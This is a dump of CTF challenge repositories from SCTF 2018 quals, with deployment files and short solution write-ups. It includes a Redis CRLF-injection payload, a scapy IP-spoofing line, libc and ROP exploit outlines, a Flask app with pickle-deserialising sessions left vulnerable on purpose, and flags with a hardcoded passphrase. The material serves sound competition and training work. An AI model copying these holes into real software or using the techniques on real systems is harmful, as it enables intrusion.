3-2: Leaking password using environ 54 | Because you already know the canary, you can leak any address by chaining 'puts' 55 | function. Using that, you can leak libc address and identify the libc in the 56 | libc database using the offset diff of two libc functions. Then, you can search 57 | the environ in the libc (because environment variables are used in the main 58 | function). Now you know the stack address and scan it to get the password. 59 | 60 | ### phase 3 : ROP chain to execute decrypt command 61 | Finally, you construct an ROP chain to execute arbitrary shell command. You need 62 | to execute GPG decrypt command to get the flag. (the decryption command is 63 | already in the admin's menu. What a kind menu!? 64 | -------------------------------------------------------------------------------- /attack/LeakIt/deploy/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:16.04 2 | 3 | RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/kr.archive.ubuntu.com/g" /etc/apt/sources.list 4 | #RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/ftp.daumkakao.com\/ubuntu/g" /etc/apt/sources.list 5 | RUN apt-get update && apt-get -y dist-upgrade 6 | RUN apt-get install rng-tools -y 7 | RUN apt-get install gnupg -y 8 | 9 | # setup timezone 10 | RUN apt-get install -yy tzdata 11 | ENV TZ=Asia/Seoul 12 | RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone 13 | 14 | ENV PROB leakit 15 | 16 | RUN useradd -m $PROB 17 | 18 | COPY ./start.sh /start.sh 19 | RUN chmod +x /start.sh 20 | RUN chmod 733 /tmp 21 | 22 | #RUN umount /proc 23 | #RUN mkdir -pm 0555 /tmp/aselifhasliehflaise/proc 24 | #RUN mount --bind /proc /tmp/aselifhasliehflaise/proc 25 | 26 | USER $PROB 27 | WORKDIR /home/$PROB 28 | CMD ["/start.sh"] 29 | 30 | -------------------------------------------------------------------------------- /attack/LeakIt/deploy/copybot.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | DEPLOY_DIR="$1/" 4 | SRC_DIR="$1/src/" 5 | 6 | # database setup 7 | rm -rf "${SRC_DIR}/database" 8 | mkdir -p "${SRC_DIR}/database" 9 | chown root:root "${SRC_DIR}/database" 10 | chmod 733 "${SRC_DIR}/database" 11 | 12 | rm -rf "${SRC_DIR}/.gnupg" 13 | cp -R "${DEPLOY_DIR}/gnupg" "${SRC_DIR}/.gnupg" 14 | chown 1000:1000 -R "${SRC_DIR}/.gnupg" 15 | chmod 700 "${SRC_DIR}/.gnupg" 16 | 17 | -------------------------------------------------------------------------------- /attack/LeakIt/deploy/gpg.conf: -------------------------------------------------------------------------------- 1 | # Options for GnuPG 2 | # Copyright 1998, 1999, 2000, 2001, 2002, 2003, 3 | # 2010 Free Software Foundation, Inc. 4 | # 5 | # This file is free software; as a special exception the author gives 6 | # unlimited permission to copy and/or distribute it, with or without 7 | # modifications, as long as this notice is preserved. 8 | # 9 | # This file is distributed in the hope that it will be useful, but 10 | # WITHOUT ANY WARRANTY, to the extent permitted by law; without even the 11 | # implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 12 | # 13 | # Unless you specify which option file to use (with the command line 14 | # option "--options filename"), GnuPG uses the file ~/.gnupg/gpg.conf 15 | # by default. 16 | # 17 | # An options file can contain any long options which are available in 18 | # GnuPG. If the first non white space character of a line is a '#', 19 | # this line is ignored. Empty lines are also ignored. 20 | # 21 | # See the man page for a list of options. 22 | 23 | # Uncomment the following option to get rid of the copyright notice 24 | 25 | #no-greeting 26 | 27 | # If you have more than 1 secret key in your keyring, you may want to 28 | # uncomment the following option and set your preferred keyid. 29 | 30 | #default-key 621CC013 31 | 32 | # If you do not pass a recipient to gpg, it will ask for one. Using 33 | # this option you can encrypt to a default key. Key validation will 34 | # not be done in this case. The second form uses the default key as 35 | # default recipient. 36 | 37 | #default-recipient some-user-id 38 | #default-recipient-self 39 | 40 | # Use --encrypt-to to add the specified key as a recipient to all 41 | # messages. This is useful, for example, when sending mail through a 42 | # mail client that does not automatically encrypt mail to your key. 43 | # In the example, this option allows you to read your local copy of 44 | # encrypted mail that you've sent to others. 45 | 46 | #encrypt-to some-key-id 47 | 48 | # By default GnuPG creates version 4 signatures for data files as 49 | # specified by OpenPGP. Some earlier (PGP 6, PGP 7) versions of PGP 50 | # require the older version 3 signatures. Setting this option forces 51 | # GnuPG to create version 3 signatures. 52 | 53 | #force-v3-sigs 54 | 55 | # Because some mailers change lines starting with "From " to ">From " 56 | # it is good to handle such lines in a special way when creating 57 | # cleartext signatures; all other PGP versions do it this way too. 58 | 59 | #no-escape-from-lines 60 | 61 | # If you do not use the Latin-1 (ISO-8859-1) charset, you should tell 62 | # GnuPG which is the native character set. Please check the man page 63 | # for supported character sets. This character set is only used for 64 | # metadata and not for the actual message which does not undergo any 65 | # translation. Note that future version of GnuPG will change to UTF-8 66 | # as default character set. In most cases this option is not required 67 | # as GnuPG is able to figure out the correct charset at runtime. 68 | 69 | #charset utf-8 70 | 71 | # Group names may be defined like this: 72 | # group mynames = paige 0x12345678 joe patti 73 | # 74 | # Any time "mynames" is a recipient (-r or --recipient), it will be 75 | # expanded to the names "paige", "joe", and "patti", and the key ID 76 | # "0x12345678". Note there is only one level of expansion - you 77 | # cannot make an group that points to another group. Note also that 78 | # if there are spaces in the recipient name, this will appear as two 79 | # recipients. In these cases it is better to use the key ID. 80 | 81 | #group mynames = paige 0x12345678 joe patti 82 | 83 | # Lock the file only once for the lifetime of a process. If you do 84 | # not define this, the lock will be obtained and released every time 85 | # it is needed, which is usually preferable. 86 | 87 | #lock-once 88 | 89 | # GnuPG can send and receive keys to and from a keyserver. These 90 | # servers can be HKP, email, or LDAP (if GnuPG is built with LDAP 91 | # support). 92 | # 93 | # Example HKP keyserver: 94 | # hkp://keys.gnupg.net 95 | # hkp://subkeys.pgp.net 96 | # 97 | # Example email keyserver: 98 | # mailto:pgp-public-keys@keys.pgp.net 99 | # 100 | # Example LDAP keyservers: 101 | # ldap://keyserver.pgp.com 102 | # 103 | # Regular URL syntax applies, and you can set an alternate port 104 | # through the usual method: 105 | # hkp://keyserver.example.net:22742 106 | # 107 | # Most users just set the name and type of their preferred keyserver. 108 | # Note that most servers (with the notable exception of 109 | # ldap://keyserver.pgp.com) synchronize changes with each other. Note 110 | # also that a single server name may actually point to multiple 111 | # servers via DNS round-robin. hkp://keys.gnupg.net is an example of 112 | # such a "server", which spreads the load over a number of physical 113 | # servers. To see the IP address of the server actually used, you may use 114 | # the "--keyserver-options debug". 115 | 116 | keyserver hkp://keys.gnupg.net 117 | #keyserver mailto:pgp-public-keys@keys.nl.pgp.net 118 | #keyserver ldap://keyserver.pgp.com 119 | 120 | # Common options for keyserver functions: 121 | # 122 | # include-disabled : when searching, include keys marked as "disabled" 123 | # on the keyserver (not all keyservers support this). 124 | # 125 | # no-include-revoked : when searching, do not include keys marked as 126 | # "revoked" on the keyserver. 127 | # 128 | # verbose : show more information as the keys are fetched. 129 | # Can be used more than once to increase the amount 130 | # of information shown. 131 | # 132 | # use-temp-files : use temporary files instead of a pipe to talk to the 133 | # keyserver. Some platforms (Win32 for one) always 134 | # have this on. 135 | # 136 | # keep-temp-files : do not delete temporary files after using them 137 | # (really only useful for debugging) 138 | # 139 | # http-proxy="proxy" : set the proxy to use for HTTP and HKP keyservers. 140 | # This overrides the "http_proxy" environment variable, 141 | # if any. 142 | # 143 | # auto-key-retrieve : automatically fetch keys as needed from the keyserver 144 | # when verifying signatures or when importing keys that 145 | # have been revoked by a revocation key that is not 146 | # present on the keyring. 147 | # 148 | # no-include-attributes : do not include attribute IDs (aka "photo IDs") 149 | # when sending keys to the keyserver. 150 | 151 | #keyserver-options auto-key-retrieve 152 | 153 | # Display photo user IDs in key listings 154 | 155 | # list-options show-photos 156 | 157 | # Display photo user IDs when a signature from a key with a photo is 158 | # verified 159 | 160 | # verify-options show-photos 161 | 162 | # Use this program to display photo user IDs 163 | # 164 | # %i is expanded to a temporary file that contains the photo. 165 | # %I is the same as %i, but the file isn't deleted afterwards by GnuPG. 166 | # %k is expanded to the key ID of the key. 167 | # %K is expanded to the long OpenPGP key ID of the key. 168 | # %t is expanded to the extension of the image (e.g. "jpg"). 169 | # %T is expanded to the MIME type of the image (e.g. "image/jpeg"). 170 | # %f is expanded to the fingerprint of the key. 171 | # %% is %, of course. 172 | # 173 | # If %i or %I are not present, then the photo is supplied to the 174 | # viewer on standard input. If your platform supports it, standard 175 | # input is the best way to do this as it avoids the time and effort in 176 | # generating and then cleaning up a secure temp file. 177 | # 178 | # If no photo-viewer is provided, GnuPG will look for xloadimage, eog, 179 | # or display (ImageMagick). On Mac OS X and Windows, the default is 180 | # to use your regular JPEG image viewer. 181 | # 182 | # Some other viewers: 183 | # photo-viewer "qiv %i" 184 | # photo-viewer "ee %i" 185 | # 186 | # This one saves a copy of the photo ID in your home directory: 187 | # photo-viewer "cat > ~/photoid-for-key-%k.%t" 188 | # 189 | # Use your MIME handler to view photos: 190 | # photo-viewer "metamail -q -d -b -c %T -s 'KeyID 0x%k' -f GnuPG" 191 | 192 | # Passphrase agent 193 | # 194 | # We support the old experimental passphrase agent protocol as well as 195 | # the new Assuan based one (currently available in the "newpg" package 196 | # at ftp.gnupg.org/gcrypt/alpha/aegypten/). To make use of the agent, 197 | # you have to run an agent as daemon and use the option 198 | # 199 | # For Ubuntu we now use-agent by default to support more automatic 200 | # use of GPG and S/MIME encryption by GUI programs. Depending on the 201 | # program, users may still have to manually decide to install gnupg-agent. 202 | 203 | use-agent 204 | 205 | # which tries to use the agent but will fallback to the regular mode 206 | # if there is a problem connecting to the agent. The normal way to 207 | # locate the agent is by looking at the environment variable 208 | # GPG_AGENT_INFO which should have been set during gpg-agent startup. 209 | # In certain situations the use of this variable is not possible, thus 210 | # the option 211 | # 212 | # --gpg-agent-info=::1 213 | # 214 | # may be used to override it. 215 | 216 | # Automatic key location 217 | # 218 | # GnuPG can automatically locate and retrieve keys as needed using the 219 | # auto-key-locate option. This happens when encrypting to an email 220 | # address (in the "user@example.com" form), and there are no 221 | # user@example.com keys on the local keyring. This option takes the 222 | # following arguments, in the order they are to be tried: 223 | # 224 | # cert = locate a key using DNS CERT, as specified in RFC-4398. 225 | # GnuPG can handle both the PGP (key) and IPGP (URL + fingerprint) 226 | # CERT methods. 227 | # 228 | # pka = locate a key using DNS PKA. 229 | # 230 | # ldap = locate a key using the PGP Universal method of checking 231 | # "ldap://keys.(thedomain)". For example, encrypting to 232 | # user@example.com will check ldap://keys.example.com. 233 | # 234 | # keyserver = locate a key using whatever keyserver is defined using 235 | # the keyserver option. 236 | # 237 | # You may also list arbitrary keyservers here by URL. 238 | # 239 | # Try CERT, then PKA, then LDAP, then hkp://subkeys.net: 240 | #auto-key-locate cert pka ldap hkp://subkeys.pgp.net 241 | 242 | 243 | no-default-keyring 244 | primary-keyring ./gnupg/pubring.gpg 245 | secret-keyring ./gnupg/secring.gpg 246 | trustdb-name ./gnupg/trustdb.gpg 247 | keyring ./gnupg/pubring.gpg 248 | -------------------------------------------------------------------------------- /attack/LeakIt/deploy/setup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | sudo apt-get update && sudo apt-get install rng-tools -y 4 | 5 | KEYRING_ADMIN=" --options ./admin_gpg.conf" 6 | KEYRING_USER=" --options ./gpg.conf" 7 | ADMIN_PASSPHRASE="YOUCANNOTFINDTHISPASSPHRASEITSVERYLONGRIGHTHUH" 8 | FLAG="SCTF{b4by_PwN_w1th_crit1Cal_memOry_l3ak}" 9 | 10 | cat >admin_gpg_key.script << EOF 11 | %echo Generating a basic OpenPGP key 12 | Key-Type: 1 13 | Key-Length: 2048 14 | Name-Real: admin 15 | Name-Comment: account for sctf 2018 16 | Name-Email: admin@2018.eatpwnnosleep.com 17 | Expire-Date: 0 18 | Passphrase: ${ADMIN_PASSPHRASE} 19 | %commit 20 | %echo done 21 | EOF 22 | 23 | cat >flag_sender_gpg_key.script << EOF 24 | %echo Generating a basic OpenPGP key 25 | Key-Type: 1 26 | Key-Length: 2048 27 | Name-Real: flagsender 28 | Name-Comment: account for sctf 2018 29 | Name-Email: flagsender@2018.eatpwnnosleep.com 30 | Expire-Date: 0 31 | Passphrase: ${ADMIN_PASSPHRASE} 32 | %commit 33 | %echo done 34 | EOF 35 | 36 | rm -rf "./gnupg" 37 | mkdir -p "./gnupg" 38 | gpg ${KEYRING_USER} --batch --gen-key admin_gpg_key.script 2>&1 39 | gpg ${KEYRING_USER} --batch --gen-key flag_sender_gpg_key.script 2>&1 40 | gpg --list-keys --options gpg.conf 41 | rm -rf *.script 42 | 43 | echo "${FLAG}" > flag 44 | (echo "${ADMIN_PASSPHRASE}") | gpg ${KEYRING_USER} --default-key "flagsender@2018.eatpwnnosleep.com" --passphrase-fd 0 --output flag_to_admin.enc --batch --yes -se -r "admin@2018.eatpwnnosleep.com" --no-random-seed-file flag 45 | (echo "${ADMIN_PASSPHRASE}") | gpg ${KEYRING_USER} --default-key "admin@2018.eatpwnnosleep.com" --passphrase-fd 0 --no-random-seed-file --decrypt flag_to_admin.enc 46 | 47 | # home directory setup 48 | sudo rm -rf src 49 | sudo mkdir -p src 50 | sudo chown root:root src 51 | sudo ln -sf /dev/null src/.bash_history 52 | sudo cp ../prob/leakit src/leakit 53 | sudo chown root:root src/leakit 54 | sudo chmod 755 src/leakit 55 | sudo cp flag_to_admin.enc src 56 | 57 | # database setup 58 | sudo rm -rf src/database 59 | sudo mkdir -p src/database 60 | sudo chown root:root src/database 61 | sudo chmod 733 src/database 62 | 63 | sudo rm -rf src/.gnupg 64 | sudo cp -R gnupg src/.gnupg 65 | sudo chown 1000:1000 -R src/.gnupg 66 | sudo chmod 700 src/.gnupg 67 | #sudo cp gpg.conf src/gpg.conf 68 | #sudo chmod 644 src/gpg.conf 69 | 70 | sudo rm -rf src/.admin_gnupg 71 | sudo cp -R gnupg src/.admin_gnupg 72 | sudo chown root: -R src/.admin_gnupg 73 | sudo chmod 755 src/.admin_gnupg 74 | sudo chmod 644 src/.admin_gnupg/* 75 | sudo cp admin_gpg.conf src/admin_gpg.conf 76 | sudo chmod 644 src/admin_gpg.conf 77 | 78 | # add script to crontab 79 | PWD=$(pwd) 80 | echo "*/10 * * * * ${PWD}/copybot.sh ${PWD}" > ./copybot.cron 81 | 82 | sudo crontab < ./copybot.cron 83 | 84 | -------------------------------------------------------------------------------- /attack/LeakIt/deploy/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | /home/leakit/leakit 3 | sleep infinity; 4 | -------------------------------------------------------------------------------- /attack/LeakIt/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | leakit: 4 | privileged: true 5 | container_name: leakit 6 | build: deploy/ 7 | ports: 8 | - "42424:4444" 9 | volumes: 10 | - "./deploy/src:/home/leakit" 11 | environment: 12 | ADMIN_GPG_ID : admin 13 | ADMIN_GPG_PASSPHRASE : YOUCANNOTFINDTHISPASSPHRASEITSVERYLONGRIGHTHUH 14 | SERVER_PORT : 4444 15 | -------------------------------------------------------------------------------- /attack/LeakIt/prob/Makefile: -------------------------------------------------------------------------------- 1 | 2 | all: 3 | gcc -o leakit leakit.c -fPIC -pie -fstack-protector 4 | -------------------------------------------------------------------------------- /attack/LeakIt/prob/leakit: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kaishack/sctf2018_qual/4615d5f521a5522dc32eab171a42e57d8a221bd4/attack/LeakIt/prob/leakit -------------------------------------------------------------------------------- /attack/LeakIt/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | docker-compose stop 3 | docker-compose build 4 | cd deploy 5 | ./setup.sh 6 | cd .. 7 | docker-compose up -d 8 | docker-compose exec --user root leakit umount /proc 9 | -------------------------------------------------------------------------------- /attack/LeakIt/stop.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | docker-compose stop 3 | -------------------------------------------------------------------------------- /attack/Through_The_Router/README.md: -------------------------------------------------------------------------------- 1 | # Through The Router(200 pts) 2 | 3 | ## Description 4 | 5 | http://[SDN site]/Through_The_Router 6 | 7 | ## How to run 8 | 9 | Provided by SDN Site. 10 | 11 | ## Comments 12 | 13 | SDN rule conflict. 14 | 15 | Find udp packet that occur rule conflict. 16 | 17 | ## Flag 18 | 19 | `SCTF{Sp00f_7h3_p4ck3t_70_dr1ll_pr1v4t3_n37w0rk}` 20 | 21 | ## How to solve 22 | 23 | The `Rules.png` shows IP and port filter rules with priorities. 24 | You will soon know that only packets from `10.1.7.8:5555` passes the firewall. 25 | Now you need to build a IP-spoofed packet. 26 | You can hand-craft one or even easier, use python library `scapy`: 27 | 28 | ``` 29 | from scapy.all import * 30 | (IP(src='10.1.7.8', dst='10.0.0.1') / UDP(sport=5555, dport=0x5678) / 'secret').build().encode('hex') 31 | ``` 32 | -------------------------------------------------------------------------------- /attack/Through_The_Router/Rules.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kaishack/sctf2018_qual/4615d5f521a5522dc32eab171a42e57d8a221bd4/attack/Through_The_Router/Rules.png -------------------------------------------------------------------------------- /attack/Through_The_Router/ttr.json: -------------------------------------------------------------------------------- 1 | { 2 | "chal_name": "Through The Router", 3 | "url": "Through_The_Router", 4 | "description": [ 5 | "You are an industrial spy hiding in the SCTF company.", 6 | "You have found the secret recipe, but could not send any packet to your home.", 7 | "That is because SCTF's corporate network is configured with SDN,", 8 | "and that these [rules](#) are installed at all routers in the network.", 9 | "", 10 | "Craft a packet that satisfies:", 11 | "- It is a UDP packet", 12 | "- It arrives at 10.0.0.1:22136.", 13 | "- Its body is a 6-byte string 'secret'.", 14 | "", 15 | "Your packet will be sent using this python code:", 16 | "```", 17 | "s = socket(AF_INET, SOCK_RAW, IPPROTO_UDP)", 18 | "s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)", 19 | "s.sendto(packet, ('10.0.0.1', 0))", 20 | "```", 21 | "Therefore the packet must include IP and UDP headers."], 22 | "flag": "SCTF{Sp00f_7h3_p4ck3t_70_dr1ll_pr1v4t3_n37w0rk}", 23 | "handler": "ttr", 24 | "valid": false, 25 | "packet_submit": true, 26 | "timeout": 10, 27 | "topology": { 28 | "edges": [ 29 | { 30 | "from": 1, 31 | "length": 150, 32 | "to": 2 33 | }, 34 | { 35 | "from": 2, 36 | "length": 150, 37 | "to": 3 38 | } 39 | ], 40 | "nodes": [ 41 | { 42 | "id": 1, 43 | "title": "You", 44 | "shape": "image", 45 | "label": "10.0.0.2", 46 | "image": "static/jobs/img/you.svg" 47 | }, 48 | { 49 | "id": 2, 50 | "shape": "image", 51 | "label": "Router", 52 | "image": "static/jobs/img/router.svg" 53 | }, 54 | { 55 | "id": 3, 56 | "title": "Your home", 57 | "shape": "image", 58 | "label": "10.0.0.1", 59 | "image": "static/jobs/img/target.svg" 60 | } 61 | ] 62 | } 63 | } 64 | -------------------------------------------------------------------------------- /attack/WebCached/README.md: -------------------------------------------------------------------------------- 1 | # WebCached 2 | 3 | ## Description 4 | 5 | Cache Your Favorite Page @ WebCached 6 | 7 | ## How to Solve? 8 | 9 | 0. Get source 10 | 11 | You can get source codes of service starting from `file:///proc/self/cmdline`. 12 | 13 | 1. CR-LF injection 14 | 15 | Using CR-LF injection in urllib, you can poisoning redis. 16 | 17 | Payload: `http://127.0.0.1\r\n SET \r\n :6379/` 18 | 19 | 2. RCE with redis session 20 | 21 | By poisoning session, you can freely modify session. 22 | 23 | Since session manager use pickle to serialize session with redis, 24 | You can do RCE attack. 25 | -------------------------------------------------------------------------------- /attack/WebCached/deploy/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM redis:2 2 | 3 | RUN sed -i "s/http:\/\/deb.debian.org/http:\/\/ftp.daumkakao.com/g" /etc/apt/sources.list 4 | RUN apt-get update 5 | RUN apt-get install -y python 6 | RUN apt-get install -y python-pip 7 | RUN apt-get install -y nginx-full 8 | RUN apt-get install -y python-dev 9 | RUN apt-get install -y netcat 10 | 11 | ADD requirements.txt /tmp/r.txt 12 | RUN pip install -r /tmp/r.txt && rm /tmp/r.txt 13 | RUN ln -s /usr/local/bin/uwsgi /usr/bin/uwsgi 14 | 15 | RUN mkdir -p /app 16 | ADD src/ /app/ 17 | 18 | ADD uwsgi.ini /tmp 19 | RUN rm /etc/nginx/sites-available/default 20 | ADD nginx.conf /etc/nginx/sites-available/default 21 | 22 | RUN rm -rf /var/lib/apt/lists/* 23 | ADD run.sh /run.sh 24 | RUN chmod 755 /*.sh 25 | 26 | RUN chmod 555 /app/* 27 | 28 | 29 | EXPOSE 34343 30 | CMD ["/run.sh"] 31 | -------------------------------------------------------------------------------- /attack/WebCached/deploy/nginx.conf: -------------------------------------------------------------------------------- 1 | # mysite_nginx.conf 2 | 3 | # the upstream component nginx needs to connect to 4 | upstream app { 5 | server unix:/tmp/uwsgi.sock; 6 | } 7 | 8 | # configuration of the server 9 | server { 10 | # the port your site will be served on 11 | listen 34343; 12 | # the domain name it will serve for 13 | #server_name .example.com; # substitute your machine's IP address or FQDN 14 | charset utf-8; 15 | 16 | # max upload size 17 | client_max_body_size 75M; # adjust to taste 18 | 19 | # Finally, send all non-media requests to the Django server. 20 | location / { 21 | uwsgi_pass app; 22 | include uwsgi_params; 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /attack/WebCached/deploy/requirements.txt: -------------------------------------------------------------------------------- 1 | flask 2 | uwsgi 3 | redis 4 | -------------------------------------------------------------------------------- /attack/WebCached/deploy/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | redis-server & 4 | /etc/init.d/nginx restart 5 | uwsgi --ini /tmp/uwsgi.ini 6 | -------------------------------------------------------------------------------- /attack/WebCached/deploy/src/run.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | from redis import Redis 3 | from flask import Flask, request, render_template 4 | from flask import session, redirect, url_for, abort 5 | from session_interface import RedisSessionInterface 6 | import socket 7 | import urllib 8 | 9 | 10 | r = Redis() 11 | app = Flask(__name__) 12 | app.session_interface = RedisSessionInterface() 13 | timeout = socket.getdefaulttimeout() 14 | 15 | 16 | def cached(url): 17 | key = '{}:{}'.format(request.remote_addr, url) 18 | resp = r.get(key) 19 | if resp is None: 20 | resp = load_cache(url) 21 | r.setex(key, resp, 3) 22 | return resp 23 | 24 | 25 | def load_cache(url): 26 | def get(url): 27 | return urllib.urlopen(url).read() 28 | socket.setdefaulttimeout(0.5) 29 | try: 30 | resp = get(url) 31 | except socket.timeout: 32 | resp = '{} may be dead...'.format(url) 33 | except Exception as e: 34 | resp = str(e) 35 | socket.setdefaulttimeout(timeout) 36 | return resp 37 | 38 | 39 | @app.route('/view') 40 | def view(): 41 | url = session.get('url', None) 42 | if url is not None: 43 | session.pop('url') 44 | return cached(url) 45 | else: 46 | return redirect(url_for('main')) 47 | 48 | 49 | @app.route('/', methods=['GET', 'POST']) 50 | def main(): 51 | if request.method == 'GET': 52 | return render_template('main.html') 53 | else: 54 | url = request.form.get('url', None) or abort(404) 55 | session['url'] = url 56 | return redirect(url_for('view')) 57 | 58 | 59 | if __name__ == '__main__': 60 | app.run(port=12000, host='0.0.0.0', debug=True) 61 | -------------------------------------------------------------------------------- /attack/WebCached/deploy/src/session_interface.py: -------------------------------------------------------------------------------- 1 | # Server-side Sessions with Redis 2 | # http://flask.pocoo.org/snippets/75/ 3 | import base64 4 | import pickle 5 | from datetime import timedelta 6 | from uuid import uuid4 7 | from redis import Redis 8 | from werkzeug.datastructures import CallbackDict 9 | from flask.sessions import SessionInterface, SessionMixin 10 | 11 | 12 | class RedisSession(CallbackDict, SessionMixin): 13 | def __init__(self, initial=None, sid=None, new=False): 14 | def on_update(self): 15 | self.modified = True 16 | CallbackDict.__init__(self, initial, on_update) 17 | self.sid = sid 18 | self.new = new 19 | self.modified = False 20 | 21 | 22 | class RedisSessionInterface(SessionInterface): 23 | serializer = pickle 24 | session_class = RedisSession 25 | 26 | def __init__(self, redis=None, prefix='session:'): 27 | if redis is None: 28 | redis = Redis() 29 | self.redis = redis 30 | self.prefix = prefix 31 | 32 | def generate_sid(self): 33 | return str(uuid4()) 34 | 35 | def get_redis_expiration_time(self, app, session): 36 | if session.permanent: 37 | return app.permanent_session_lifetime 38 | return timedelta(days=1) 39 | 40 | def open_session(self, app, request): 41 | sid = request.cookies.get(app.session_cookie_name) 42 | if not sid: 43 | sid = self.generate_sid() 44 | return self.session_class(sid=sid, new=True) 45 | val = self.redis.get(self.prefix + sid) 46 | if val is not None: 47 | val = base64.b64decode(val) 48 | data = self.serializer.loads(val) 49 | return self.session_class(data, sid=sid) 50 | return self.session_class(sid=sid, new=True) 51 | 52 | def save_session(self, app, session, response): 53 | domain = self.get_cookie_domain(app) 54 | if not session: 55 | self.redis.delete(self.prefix + session.sid) 56 | if session.modified: 57 | response.delete_cookie(app.session_cookie_name, 58 | domain=domain) 59 | return 60 | redis_exp = self.get_redis_expiration_time(app, session) 61 | cookie_exp = self.get_expiration_time(app, session) 62 | val = base64.b64encode(self.serializer.dumps(dict(session))) 63 | self.redis.setex(self.prefix + session.sid, val, 64 | int(redis_exp.total_seconds())) 65 | response.set_cookie(app.session_cookie_name, session.sid, 66 | expires=cookie_exp, httponly=True, 67 | domain=domain) 68 | -------------------------------------------------------------------------------- /attack/WebCached/deploy/src/templates/main.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | WebCached 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 |
14 |
WebCached
15 |

This is simple service that can cache your favorite page.

16 |
17 |
18 |
19 |
20 |
21 | Enter url to view: 22 |
23 |
24 | 25 | 26 |
27 |
28 |
29 |
30 |
31 | 34 |
35 |
36 | 37 | 38 | -------------------------------------------------------------------------------- /attack/WebCached/deploy/uwsgi.ini: -------------------------------------------------------------------------------- 1 | [uwsgi] 2 | uid=www-data 3 | gid=www-data 4 | chdir=/app 5 | module=run 6 | callable=app 7 | chmod-socket=664 8 | socket=/tmp/uwsgi.sock 9 | python-autoreload = 1 10 | processes=4 11 | -------------------------------------------------------------------------------- /attack/catch_the_bug/README.md: -------------------------------------------------------------------------------- 1 | # Catch the bug 2 | 3 | ## Description 4 | 5 | Catch the bug! 6 | 7 | (ip : port, binary link, libc link) 8 | 9 | ## Flag 10 | 11 | `SCTF{Y0u_4r3_7h3_3xp3r7_0f_BUGS!}` 12 | 13 | ## Challenge setup 14 | ```/bin/sh 15 | $ cd deploy/ 16 | $ (sudo) ./build_docker.sh 17 | $ (sudo) ./run_docker.sh 18 | ``` 19 | 20 | ## Exploit 21 | 22 | ### phase 1 : Leak libc base address 23 | There is the format string bug on the bug inspection(menu 2). 24 | Using this vulnerability, the attacker can easily find the libc base address, 25 | since `rsi` holds the value `_IO_2_1_stdout_+131` when the name of the bug is 26 | printed. 27 | 28 | ### phase 2 : Trigger arbitrary write 29 | At the report submission(menu 3), there is buffer overflow in the global 30 | variable `global_report.buf` when the attacker caught at least one butterfly. 31 | By using this buffer overflow, the attacker can overwrite `global_report.cursor` 32 | and `global_report.password_cursor`. 33 | 34 | ### phase 3 : Overwrite exit_func_list in libc and trigger __free_hook 35 | After the report submission(menu 3), the program's main function will return. 36 | To hijack control flow, the attacker need to use other functions in `libc`. 37 | After `__libc_start_main` function calls `main` function, it calls `libc_exit` 38 | function. 39 | Inside this function, it uses `exit_func_list` to call `exit_func`. 40 | But it is hard to trigger `exit_func` since it uses pointer guard. 41 | Instead, `free` function is called when one `exit_func_list` element is well 42 | handled. 43 | Hence, the attacker should use above arbitrary write to overwrite 44 | `exit_func_list` to `__free_hook`, and make fake chunk on `__free_hook`. 45 | -------------------------------------------------------------------------------- /attack/catch_the_bug/deploy/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:17.10 2 | 3 | RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/kr.archive.ubuntu.com/g" /etc/apt/sources.list 4 | RUN apt-get update 5 | RUN apt-get install -y xinetd 6 | 7 | RUN useradd -ms /bin/bash bug 8 | WORKDIR /home/bug 9 | 10 | COPY ./xinetd_file /etc/xinetd.d/bug 11 | COPY ./flag /home/bug/flag 12 | COPY ./bug /home/bug/bug 13 | COPY ./start.sh /home/bug/start.sh 14 | COPY ./libc-2.26.so /lib/x86_64-linux-gnu/libc-2.26.so 15 | RUN echo "bug 55555/tcp" >> /etc/services 16 | 17 | RUN chown -R root:bug /home/bug 18 | RUN chmod 750 /home/bug 19 | RUN chown root:bug /home/bug/flag 20 | RUN chmod 440 /home/bug/flag 21 | 22 | USER bug 23 | CMD ["./start.sh"] 24 | 25 | EXPOSE 55555 26 | -------------------------------------------------------------------------------- /attack/catch_the_bug/deploy/bug: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kaishack/sctf2018_qual/4615d5f521a5522dc32eab171a42e57d8a221bd4/attack/catch_the_bug/deploy/bug -------------------------------------------------------------------------------- /attack/catch_the_bug/deploy/build_docker.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | cd ../prob && make && cp bin/bug ../deploy/bug && cd ../deploy && \ 3 | docker build -t bug . 4 | -------------------------------------------------------------------------------- /attack/catch_the_bug/deploy/flag: -------------------------------------------------------------------------------- 1 | SCTF{Y0u_4r3_7h3_3xp3r7_0f_BUGS!} 2 | -------------------------------------------------------------------------------- /attack/catch_the_bug/deploy/libc-2.26.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kaishack/sctf2018_qual/4615d5f521a5522dc32eab171a42e57d8a221bd4/attack/catch_the_bug/deploy/libc-2.26.so -------------------------------------------------------------------------------- /attack/catch_the_bug/deploy/run_docker.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | docker run -p 55555:55555 -d --name bug -t bug 3 | -------------------------------------------------------------------------------- /attack/catch_the_bug/deploy/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 